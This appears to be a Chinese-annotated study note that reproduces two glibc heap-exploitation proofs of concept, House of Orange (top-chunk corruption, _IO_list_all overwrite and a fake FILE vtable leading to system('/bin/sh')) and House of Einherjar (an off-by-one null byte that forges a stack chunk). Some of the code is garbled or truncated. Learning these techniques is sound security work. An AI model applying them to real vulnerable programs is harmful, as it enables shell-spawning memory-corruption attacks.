这是一个简单而强大的漏洞.下面的poc直接实现了getshell的操作.根据CTFWiki的解释,这个漏洞的本质是在没有free的条件下创造一个free的堆块(unsorted bin of course.)。和House of Force恰好相反,这次我们要篡改top chunk的size域为一个较小的值进行利用。
/* The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer It requires a leak of the heap and the libc Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html */ /* This function is just present to emulate the scenario where the address of the function system is known. */ intwinner( char *ptr);
intmain() { /* The House of Orange starts with the assumption that a buffer overflow exists on the heap using which the Top (also called the Wilderness) chunk can be corrupted. At the beginning of execution, the entire heap is part of the Top chunk. The first allocations are usually pieces of the Top chunk that are broken off to service the request. 通常情况下,首次分配的是从Top块中分离出来的片段,以满足请求。 Thus, with every allocation, the Top chunks keeps getting smaller. And in a situation where the size of the Top chunk is smaller than the requested value, there are two possibilities: 1) Extend the Top chunk (我们说的brk扩展) 2) Mmap a new page (操作系统mmap新的虚拟内存页) If the size requested is smaller than 0x21000(一个宏定义的mmap阈值), then the former is followed. */
char *p1, *p2; size_t io_list_all, *top;
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, " "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"); fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit," "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
/* Firstly, lets allocate a chunk on the heap. */
p1 = malloc(0x400-16);
/* The heap is usually allocated with a top chunk of size 0x21000 Since we've allocate a chunk of size 0x400 already, what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01(size域). The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap, it must also be page aligned at the end. Also, if a chunk that is adjacent to the Top chunk is to be freed, then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set. So that means that there are two conditions that must always be true. 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set. We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE. What's left is 0x20c01 ↑ 上面是我们构造fake_size要知道的知识,top chunk 的地址需要页对齐且prev_inuse置位 ↑ */
top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; /* Now we request a chunk of size larger than the size of the Top chunk. Malloc tries to service this request by extending the Top chunk This forces sysmalloc to be invoked. In the usual scenario, the heap looks like the following |------------|------------|------...----| | chunk | chunk | Top ... | |------------|------------|------...----| heap start heap end And the new area that gets allocated is contiguous to the old heap end. So the new size of the Top chunk is the sum of the old size and the newly allocated size. In order to keep track of this change in size, malloc uses a fencepost chunk, which is basically a temporary chunk. After the size of the Top chunk has been updated, this chunk gets freed. In our scenario however, the heap looks like |------------|------------|------..--|--...--|---------| | chunk | chunk | Top .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start heap end(改了size伪造,ptmalloc认为这里是end) In this situation, the new Top will be starting from an address that is adjacent to the heap end. So the area between the second chunk and the heap end is unused. And the old Top chunk gets freed. Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes, it gets added to list of unsorted bins. Now we request a chunk of size larger than the size of the top chunk. This forces sysmalloc to be invoked. And ultimately invokes _int_free Finally the heap looks like this: |------------|------------|------..--|--...--|---------| | chunk | chunk | free .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start new heap end */ // 后续是使用IO_FILE的一些攻击 p2 = malloc(0x1000); /* Note that the above chunk will be allocated in a different page that gets mmapped. It will be placed after the old heap's end Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins Here starts phase two of the attack. We assume that we have an overflow into the old top chunk so we could overwrite the chunk's size. For the second phase we utilize this overflow again to overwrite the fd and bk pointer of this chunk in the unsorted bin list. There are two common ways to exploit the current state: - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations) - Use the unlinking of the chunk for an *where*-controlled write of the libc's main_arena unsorted-bin-list. (requires at least one allocation) The former attack is pretty straight forward to exploit, so we will only elaborate on a variant of the latter, developed by Angelboy in the blog post linked above. The attack is pretty stunning, as it exploits the abort call itself, which is triggered when the libc detects any bogus state of the heap. Whenever abort is triggered, it will flush all the file pointers by calling _IO_flush_all_lockp. Eventually, walking through the linked list in _IO_list_all and calling _IO_OVERFLOW on them. The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh'). More about file-pointer exploitation can be found here: https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they currently point to the libc's main_arena. */
io_list_all = top[2] + 0x9a8; //(用泄露算)
/* We plan to overwrite the fd and bk pointers of the old top, which has now been added to the unsorted bins. When malloc tries to satisfy a request by splitting this free chunk the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list in libc's main_arena. Note that this overwrite occurs before the sanity check and therefore, will occur in any case. Here, we require that chunk->bk->fd to be the value of _IO_list_all. So, we should set chunk->bk to be _IO_list_all - 16 */ top[3] = io_list_all - 0x10;
/* At the end, the system function will be invoked with the pointer to this file pointer. If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh) */
memcpy( ( char *) top, "/bin/sh\x00", 8);
/* The function _IO_flush_all_lockp iterates through the file pointer linked-list in _IO_list_all. Since we can only overwrite this address with main_arena's unsorted-bin-list, the idea is to get control over the memory at the corresponding fd-ptr. The address of the next file pointer is located at base_address+0x68. This corresponds to smallbin-4, which holds all the smallbins of sizes between 90 and 98. For further information about the libc's bin organisation see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/ Since we overflow the old top chunk, we also control it's size field. Here it gets a little bit tricky, currently the old top chunk is in the unsortedbin list. For each allocation, malloc tries to serve the chunks in this list first, therefore, iterates over the list. Furthermore, it will sort all non-fitting chunks into the corresponding bins. If we set the size to 0x61 (97) (prev_inuse bit has to be set) and trigger an non fitting smaller allocation, malloc will sort the old chunk into the smallbin-4. Since this bin is currently empty the old top chunk will be the new head, therefore, occupying the smallbin[4] location in the main_arena and eventually representing the fake file pointer's fd-ptr. In addition to sorting, malloc will also perform certain size checks on them, so after sorting the old top chunk and following the bogus fd pointer to _IO_list_all, it will check the corresponding size field, detect that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ" and finally triggering the abort call that gets our chain rolling. Here is the corresponding code in the libc: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717 */
top[1] = 0x61;
/* Now comes the part where we satisfy the constraints on the fake file pointer required by the function _IO_flush_all_lockp and tested here: https://code.woboq.org/userspace/glibc/libio/genops.c.html#813 We want to satisfy the first condition: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base */
FILE *fp = (FILE *) top; /* 1. Set mode to 0: fp->_mode <= 0 */ fp->_mode = 0; // top+0xc0 /* 2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base */ fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28
/* 4) Finally set the jump table to controlled memory and place system there. The jump table pointer is right after the FILE struct: base_address+sizeof(FILE) = jump_table 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner */ size_t *jump_table = &top[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
/* Finally, trigger the whole chain by calling malloc */ malloc(10);//牛哇,程序在这崩溃了但是输出了libc信息和mmap图 /* The libc's error message will be printed to the screen But you'll get a shell anyways. */ return0; }
/* Credit to st4g3r for publishing this technique The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc() This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. */
printf("Welcome to House of Einherjar!\n"); printf("Tested in Ubuntu 16.04 64bit.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a; uint8_t* b; uint8_t* d;
printf("\nWe allocate 0x38 bytes for 'a'\n"); a = (uint8_t*) malloc(0x38); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
// create a fake chunk printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"); printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n"); printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); printf("(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
/* In this case it is easier if the chunk size attribute has a least significant byte with * a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0xf8);//0x100-0x8 int real_b_size = malloc_usable_size(b);// 0x108?
printf("\nWe allocate 0xf8 bytes for 'b'.\n"); printf("b: %p\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf("\nb.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x100) | prev_inuse = 0x101\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; //这不是一个字节吧?这是个8字节 printf("b.size: %#lx\n", *b_size_ptr); printf("This is easiest if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n"); printf("If it had been modified, we would need a fake chunk inside " "b where it will try to consolidate the next chunk\n");
// Write a fake prev_size to the end of a printf("\nWe write a fake prev_size to the last %lu bytes of a so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); //计算差值,为了让堆分配在我们伪造的这个地址 printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size printf("\nModify fake chunk's size to reflect b's new prev_size\n"); fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); free(b); printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//if we allocate another chunk before we free b we will need to //do two things: //1) We will need to adjust the size of our fake chunk so that //fake_chunk + fake_chunk's size points to an area we control //2) we will need to write the size of our fake chunk //at the location we control. //After doing these two things, when unlink gets called, our fake chunk will //pass the size(P) == prev_size(next_chunk(P)) test. //otherwise we need to make sure that our fake chunk is up against the //wilderness
printf("\nNow we can call malloc() and it will begin in our fake chunk\n"); d = malloc(0x200); printf("Next malloc(0x200) is at %p\n", d); }